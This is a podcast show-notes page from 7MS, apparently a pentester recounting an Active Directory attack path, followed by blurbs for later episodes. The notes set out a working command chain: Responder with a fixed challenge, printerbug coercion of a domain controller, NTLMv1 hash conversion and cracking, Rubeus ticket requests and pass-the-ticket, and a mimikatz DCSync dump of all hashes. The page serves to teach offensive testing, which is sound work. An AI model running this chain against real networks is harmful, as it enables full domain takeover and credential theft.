7MS: #559: Tales of Pentest Pwnage - Part 46

7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):

Change the Responder.conf file like so:

; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788

Run Responder with --disable-ess flag

sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess

Use printerbug to coax authentication from a domain controller:

sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX

Convert hash to make it easier to crack!

sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER

Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!

Now you can do a Rubeus asktgt with the DC hash:

rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap

Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!

rubeus.exe ptt /ticket:TICKET GOES HERE

Use mimikatz to dump all hashes!

mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

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7MS #731: CARTP – Cloud Red Team Tactics for Attacking and Defending Azure – THE FINAL CHAPTER!

7MS #731: CARTP – Cloud Red Team Tactics for Attacking and Defending Azure – THE FINAL CHAPTER!

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17 Juli 53min

7MS #730: Baby's First Project Swarm

7MS #730: Baby's First Project Swarm

Hey friends! Still your grieving pal over here, but also your swarming friend and Protecting My Network Edge host — because this week I've been tinkering with something called Project Swarm and I've g...

10 Juli 25min

7MS #729: Pwning Dracarys

7MS #729: Pwning Dracarys

Hey friends! Still your grieving pal over here, but also your happy hacking host — because today we're diving into baby's first Dracarys! (Yes, I'm probably pronouncing that wrong. Yes, I'm going to k...

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7MS #728: Securing Your Family During and After a Disaster – Part 8

7MS #728: Securing Your Family During and After a Disaster – Part 8

Hey friends! This is a tough one to write. My dad passed away on Friday, and instead of the hacker-y tech episode I had planned, I pivoted to something more personal — another installment of our "Secu...

30 Juni 38min

7MS #727: Securing Your Mental Health – Part 7

7MS #727: Securing Your Mental Health – Part 7

Hello friends! It's been over a year since we did a dedicated mental health episode, so today I'm doing a big catch-up and running through my 7-point plan for being a more mentally secure me. None of ...

19 Juni 21min

7MS #726: Baby's First Hermes

7MS #726: Baby's First Hermes

Hello friends! I've been on a bit of an AI agent journey lately, and today I'm sharing my experience ditching OpenClaw and going all-in on Hermes — a self-hosted AI agent built by Nous Research. A Net...

12 Juni 22min

7MS #725: Building a Bulletproof Backup Solution

7MS #725: Building a Bulletproof Backup Solution

Hey friends! Backups are not as cool as pentesting, but boy do they matter when things go sideways. This week I'm sharing how a Proxmox backup disk space meltdown led me to a completely overhauled — a...

5 Juni 21min

7MS #724: Tales of Pentest Pwnage - Part 85

7MS #724: Tales of Pentest Pwnage - Part 85

Hey friends! Today we're going deep on external network pentesting — something I realize we've barely touched in however many episodes we've done. I'm currently in a long stretch of back-to-back exter...

29 Maj 30min

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